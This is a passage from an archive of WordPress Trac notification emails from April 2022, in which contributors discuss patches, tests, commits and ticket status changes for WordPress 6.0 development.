moderation SQL load -------------------------------------------------+------------------------- Reporter: FolioVision | Owner: | spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Comments | Version: 3.3 Severity: major | Resolution: Keywords: needs-testing has-patch commit | Focuses: assigned-for-commit | performance -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * Attachment "19901.3.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/19901> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 04:33:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 04:33:48 -0000 Subject: [wp-trac] [WordPress Trac] #54825: Heartbeat minimalInterval option causing incorrect value of mainInterval In-Reply-To: <052.178ab55ed3f5ca5a3f83240968007f51@wordpress.org> References: <052.178ab55ed3f5ca5a3f83240968007f51@wordpress.org> Message-ID: <067.507bc8708504530168de3528ca0549f0@wordpress.org> #54825: Heartbeat minimalInterval option causing incorrect value of mainInterval -------------------------------------------------+------------------------- Reporter: tabrisrp | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Autosave | Version: Severity: normal | Resolution: Keywords: has-patch dev-feedback needs- | Focuses: javascript testing | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * Attachment "54825.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54825> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 04:37:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 04:37:01 -0000 Subject: [wp-trac] [WordPress Trac] #54825: Heartbeat minimalInterval option causing incorrect value of mainInterval In-Reply-To: <052.178ab55ed3f5ca5a3f83240968007f51@wordpress.org> References: <052.178ab55ed3f5ca5a3f83240968007f51@wordpress.org> Message-ID: <067.ecb3e28d62462d9d50178008347cdee1@wordpress.org> #54825: Heartbeat minimalInterval option causing incorrect value of mainInterval -------------------------------------------------+------------------------- Reporter: tabrisrp | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Autosave | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing dev- | Focuses: javascript reviewed | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * keywords: has-patch dev-feedback needs-testing => has-patch needs- testing dev-reviewed Comment: [attachment:"54825.diff"] is @tabrisrp's pull request with the code moved a few lines to group the conversions to milliseconds together. @audrasjb I agree, the logic looks good. I've marked dev reviewed as a result. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54825#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 05:13:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 05:13:12 -0000 Subject: [wp-trac] [WordPress Trac] #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections In-Reply-To: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> References: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> Message-ID: <074.ee69366c3c037ce0dd1e08f07c2199be@wordpress.org> #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections -------------------------------------------------+------------------------- Reporter: johnjamesjacoby | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Database | Version: 1.5 Severity: normal | Resolution: Keywords: has-patch needs-testing needs-unit- | Focuses: tests 2nd-opinion | -------------------------------------------------+------------------------- Comment (by peterwilsoncc): I've updated the existing tests on the database to expect the port as `null|int` and they are now passing on the linked pull request. Are there additional tests needed ot be added in `Tests_DB::parse_db_host_data_provider()`? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54877#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 05:36:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 05:36:47 -0000 Subject: [wp-trac] [WordPress Trac] #55590: Twenty Twenty Two - Single Post Comment Form Button Font Family Message-ID: <050.f0ed09d48d2256d3e93952baae6d1da6@wordpress.org> #55590: Twenty Twenty Two - Single Post Comment Form Button Font Family ---------------------------+----------------------------- Reporter: kafleg | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: trunk Severity: normal | Keywords: needs-testing Focuses: | ---------------------------+----------------------------- In TT2 theme, the font of the Post Comment button of the comment form in the single post is different than others. Added a CSS code to fix that. https://github.com/WordPress/wordpress-develop/pull/2606 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55590> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 05:51:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 05:51:36 -0000 Subject: [wp-trac] [WordPress Trac] #19901: Speeding up Dashboard and Comment moderation SQL load In-Reply-To: <055.c7fb7faa472b1f2f74d793cc24af5d1c@wordpress.org> References: <055.c7fb7faa472b1f2f74d793cc24af5d1c@wordpress.org> Message-ID: <070.a9a6182840431466bf1f1a2bf3758ee0@wordpress.org> #19901: Speeding up Dashboard and Comment moderation SQL load -------------------------------------------------+------------------------- Reporter: FolioVision | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Comments | Version: 3.3 Severity: major | Resolution: fixed Keywords: needs-testing has-patch commit | Focuses: assigned-for-commit | performance -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53225" 53225]: {{{ #!CommitTicketReference repository="" revision="53225" Comments: Improve accuracy of `get_comment_count()` docblock. Remove reference to uncached database query now `get_comment_count()` uses `WP_Comment_Query` which contains caching. Remove reference to `$wpdb` global, it is no longer used. Follow up to [53036]. Fixes #19901. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/19901#comment:39> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 05:53:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 05:53:40 -0000 Subject: [wp-trac] [WordPress Trac] #54825: Heartbeat minimalInterval option causing incorrect value of mainInterval In-Reply-To: <052.178ab55ed3f5ca5a3f83240968007f51@wordpress.org> References: <052.178ab55ed3f5ca5a3f83240968007f51@wordpress.org> Message-ID: <067.274aa1fdfd0e4d0208f00334a9755d4a@wordpress.org> #54825: Heartbeat minimalInterval option causing incorrect value of mainInterval -------------------------------------------------+------------------------- Reporter: tabrisrp | Owner: | peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Autosave | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-testing dev- | Focuses: javascript reviewed | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53226" 53226]: {{{ #!CommitTicketReference repository="" revision="53226" Autosave: Compare heartbeat intervals in same unit. Move the conversion of `minimalInterval` to milliseconds to be grouped with the other time conversions from seconds to milliseconds. This fixes a bug in which the minimal and main intervals were compared after the former had been converted to milliseconds but the latter had not. This could cause the heatbeat interval to blow out to unexpectedly high values if the minimal interval was set. Props tabrisrp, sabernhardt, SergeyBiryukov, audrasjb. Fixes #54825. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54825#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 06:00:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 06:00:00 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.bbcec1de8bd03c408adb51184b0d37c6@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible ---------------------------------------------------+---------------------- Reporter: pbearne | Owner: pbearne Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Plugins | Version: 5.2 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests dev-feedback | Focuses: ---------------------------------------------------+---------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53227" 53227]: {{{ #!CommitTicketReference repository="" revision="53227" Build, Test Tools: Test PHP and WP compatibility functions. Introduce tests for `is_php_version_compatible()` and `is_wp_version_compatible()`. Props pbearne, hellofromTonya, mikeschroder, peterwilsoncc, toro_unit. Fixes #54257. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 07:45:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 07:45:56 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.780469ffc401801bbe4af39e73d970db@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible ---------------------------------------------------+---------------------- Reporter: pbearne | Owner: pbearne Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Plugins | Version: 5.2 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests dev-feedback | Focuses: ---------------------------------------------------+---------------------- Changes (by costdev): * Attachment "54257.1.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 07:52:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 07:52:50 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.51ec52a563e951fb03435b675b8585e3@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible --------------------------------------+----------------------- Reporter: pbearne | Owner: pbearne Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: 5.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Changes (by costdev): * keywords: has-patch has-unit-tests dev-feedback => has-patch has-unit- tests * resolution: fixed => * status: closed => reopened * component: Plugins => Build/Test Tools * type: defect (bug) => task (blessed) Comment: Patch [https://core.trac.wordpress.org/attachment/ticket/54257/54257.1.diff 54257.1.diff] updates the tests introduced in [53227] to: - fix an incorrect function name in the documentation. - use consistent documentation within the test suite. - improve readability. - remove spaces between increment/decrement operators per [https://make.wordpress.org/core/2020/03/20/updating-the-coding-standards- for-modern-php/ proposed coding standards changes]. - use informative argument and variable names. - add `public` visibility to the data providers. - add tests to cover falsey values. - add tests to cover `alpha` and `beta` versions. - remove an unnecessary call to `get_bloginfo()`, as this simply returns the value of `$wp_version`. In addition: - Changing this from `bug (defect)` to `task (blessed)` as it is a tests- only ticket. - Changing this from the `Plugins` component to `Build/Test Tools`: - These functions can be used with respect to both plugins and themes. - Tests are within the scope of Test Tools. - This helps with queries to find test-only tickets, whereas the `has- unit-tests` keyword can be applied to any ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 08:11:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 08:11:47 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible --------------------------------------+----------------------- Reporter: pbearne | Owner: pbearne Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: 5.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Changes (by costdev): * Attachment "54257.1.diff" removed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 08:11:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 08:11:47 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.157ee94d2c7bbb285fc02b762a1915ff@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible --------------------------------------+----------------------- Reporter: pbearne | Owner: pbearne Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: 5.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Changes (by costdev): * Attachment "54257.1.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 08:11:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 08:11:48 -0000 Subject: [wp-trac] [WordPress Trac] #39108: Media: can't leave an image "untitled" from the "Edit Media" menu In-Reply-To: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> References: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> Message-ID: <068.3bf7a77e2acfdd5dd2a89957bbf9ca81@wordpress.org> #39108: Media: can't leave an image "untitled" from the "Edit Media" menu -------------------------------------------------+------------------------- Reporter: dromero20 | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: 4.6.1 Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch has- | Focuses: testing-info assigned-for-commit needs-dev- | note commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53228" 53228]: {{{ #!CommitTicketReference repository="" revision="53228" Media: Remove `attachment_fields_to_save` filter and deprecate `image_attachment_fields_to_save()`. This filter prevented removing attachment titles. This changeset removes the filter and deprecates the related function since it is no longer used. Props dromero20, desrosj, Junaidkbr, francina, antpb, audrasjb, aadilali, etaproducto, azouamauriac, Boniu91, SergeyBiryukov. Fixes #39108. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/39108#comment:29> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 08:28:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 08:28:14 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.bc196c33808a3f21d5389486f9e73064@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53229" 53229]: {{{ #!CommitTicketReference repository="" revision="53229" Docs: Misc fixes and improvements in the Administration Media API docblocks, as per documentation standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:77> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 08:35:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 08:35:56 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.9d55570b120a15c391487d12bd375c69@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible --------------------------------------+----------------------- Reporter: pbearne | Owner: pbearne Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: 5.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Changes (by costdev): * Attachment "54257.1.2.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 08:37:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 08:37:26 -0000 Subject: [wp-trac] [WordPress Trac] #55564: Twenty Twenty-One: edit translator comment in Continue Reading text In-Reply-To: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> References: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> Message-ID: <070.efe55f13eb80eb19ccdc02a318372275@wordpress.org> #55564: Twenty Twenty-One: edit translator comment in Continue Reading text ------------------------------+---------------------------- Reporter: sabernhardt | Owner: davidbaumwald Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.6 Severity: normal | Resolution: Keywords: has-patch commit | Focuses: docs ------------------------------+---------------------------- Comment (by audrasjb): @SergeyBiryukov yeah it would makes a lot of sense to me. I think you can commit `55564.diff` under this ticket, and it would probably be nice to open a new ticket for other bundled themes. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55564#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 08:37:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 08:37:54 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.ff3471f1bb613a2ae5503adb3975cbe7@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible --------------------------------------+----------------------- Reporter: pbearne | Owner: pbearne Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: 5.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Comment (by costdev): [https://core.trac.wordpress.org/attachment/ticket/54257/54257.1.2.diff 54257.1.2.diff] adds RC datasets for completeness. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 09:27:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 09:27:18 -0000 Subject: [wp-trac] [WordPress Trac] #47968: Feed (with comments) Last-Modified header only considers latest comment date In-Reply-To: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> References: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> Message-ID: <064.a350c552fcc8bfc9b727b7b8940a52e2@wordpress.org> #47968: Feed (with comments) Last-Modified header only considers latest comment date --------------------------------------+--------------------- Reporter: xiven | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Feeds | Version: 5.2.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by audrasjb): The above patch looks good to me. Added a PR to run unit tests on those changes. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47968#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 09:30:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 09:30:39 -0000 Subject: [wp-trac] [WordPress Trac] #55591: Multiple Bundled Themes: update translator comments to note screen reader text In-Reply-To: <055.65f3e02a573e567851a0b748d589ee83@wordpress.org> References: <055.65f3e02a573e567851a0b748d589ee83@wordpress.org> Message-ID: <070.cbc68eb7c99f6cb2f02eb64c0f5fe22b@wordpress.org> #55591: Multiple Bundled Themes: update translator comments to note screen reader text ---------------------------+------------------------------ Reporter: sabernhardt | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: | Focuses: ---------------------------+------------------------------ Changes (by sabernhardt): * Attachment "55591.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55591> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 09:31:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 09:31:27 -0000 Subject: [wp-trac] [WordPress Trac] #55591: Multiple Bundled Themes: update translator comments to note screen reader text In-Reply-To: <055.65f3e02a573e567851a0b748d589ee83@wordpress.org> References: <055.65f3e02a573e567851a0b748d589ee83@wordpress.org> Message-ID: <070.ca49f811d81de54cedf741577cff911f@wordpress.org> #55591: Multiple Bundled Themes: update translator comments to note screen reader text ---------------------------+------------------------------ Reporter: sabernhardt | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ---------------------------+------------------------------ Changes (by sabernhardt): * keywords: => has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55591#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 09:36:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 09:36:54 -0000 Subject: [wp-trac] [WordPress Trac] #55564: Twenty Twenty-One: edit translator comment in Continue Reading text In-Reply-To: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> References: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> Message-ID: <070.58aef10e7904dd0f80c49723a063e246@wordpress.org> #55564: Twenty Twenty-One: edit translator comment in Continue Reading text ------------------------------+---------------------------- Reporter: sabernhardt | Owner: davidbaumwald Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: 5.6 Severity: normal | Resolution: Keywords: has-patch commit | Focuses: docs ------------------------------+---------------------------- Comment (by sabernhardt): The ticket for other themes is opened: #55591 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55564#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 09:38:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 09:38:35 -0000 Subject: [wp-trac] [WordPress Trac] #55523: Remove deprecation notice from get_the_excerpt In-Reply-To: <060.5c62970b479c4e9312c58dd44a81ca75@wordpress.org> References: <060.5c62970b479c4e9312c58dd44a81ca75@wordpress.org> Message-ID: <075.a1a27bd3aa349a280194fa60437136cf@wordpress.org> #55523: Remove deprecation notice from get_the_excerpt -------------------------------+------------------------------ Reporter: jamesglendenning | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: 5.9.2 Severity: normal | Resolution: Keywords: close | Focuses: -------------------------------+------------------------------ Comment (by jamesglendenning): Replying to [comment:2 jrf]: > Thanks for opening this ticket and your suggestion. > > > > the deprecation notice is now just making noise > > The deprecation notice only makes "noise" when a boolean is passed to the function, which indicates a dev-error. I'd say keep the deprecation notice and fix the dev error instead. On further investigation as to why this was being triggered, it looks like we may have passed true/false to the function via a data sync. Interestingly though, the following will still return the post excerpt of the post you're on. {{{#!php <?php get_the_excerpt(false) get_the_excerpt(true) }}} On one hand it's telling you off & with the other it's handing you the output. This assumption based logic may have led the developer to believe the function was working as intended, if they had muted deprecation warnings on their local machine. Could the check be improved by checking for all types & returning empty if an unexpected input is parsed? {{{#!php <?php if ( null !== $post && is_bool( $post ) && ! ($post instanceof WP_Post) ) { _deprecated_argument( __FUNCTION__, '2.3.0' ); return ''; } }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55523#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 09:43:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 09:43:52 -0000 Subject: [wp-trac] [WordPress Trac] #55523: Remove deprecation notice from get_the_excerpt In-Reply-To: <060.5c62970b479c4e9312c58dd44a81ca75@wordpress.org> References: <060.5c62970b479c4e9312c58dd44a81ca75@wordpress.org> Message-ID: <075.6c0152a206457a6777d86272a2d123a5@wordpress.org> #55523: Remove deprecation notice from get_the_excerpt -------------------------------+------------------------------ Reporter: jamesglendenning | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: 5.9.2 Severity: normal | Resolution: Keywords: close | Focuses: -------------------------------+------------------------------ Comment (by jrf): @jamesglendenning While I understand where you are coming from, changing the behaviour of the function would be a backward-compatibility break, so no, that would not be considered as a viable patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55523#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 10:14:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 10:14:03 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.1ec5f80dc26f5dc533c7ebf6cde8f84c@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible --------------------------------------+----------------------- Reporter: pbearne | Owner: pbearne Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: 5.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Changes (by SergeyBiryukov): * Attachment "54257.2.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 10:17:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 10:17:25 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.19c64046809312bdda141b835d07e739@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible --------------------------------------+----------------------- Reporter: pbearne | Owner: pbearne Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: 5.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Comment (by SergeyBiryukov): [attachment:"54257.1.2.diff"] looks great to me. [attachment:"54257.2.diff"] includes a few more changes to further clarify the variable names, use a consistent approach for adjusting the higher and lower version numbers, and decrease the number of `implode()` calls. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 10:29:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 10:29:27 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.96f4de553104cf7b2d02382866e204ce@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible --------------------------------------+----------------------- Reporter: pbearne | Owner: pbearne Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: 5.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Comment (by costdev): Nice updates @SergeyBiryukov! The patch looks good to me. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 10:32:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 10:32:30 -0000 Subject: [wp-trac] [WordPress Trac] #55050: Remove COMPONENT_SYSTEM_PHASE configuration from webpack In-Reply-To: <049.80499aadbc63db5f8bd130b9901a5f15@wordpress.org> References: <049.80499aadbc63db5f8bd130b9901a5f15@wordpress.org> Message-ID: <064.dbae5f12a75b10c4abf1fbbca1cbd794@wordpress.org> #55050: Remove COMPONENT_SYSTEM_PHASE configuration from webpack --------------------------+------------------------------ Reporter: walbo | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: invalid Keywords: has-patch | Focuses: --------------------------+------------------------------ Changes (by walbo): * status: new => closed * resolution: => invalid Comment: Removed in [53157]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55050#comment:2> WordPress Trac 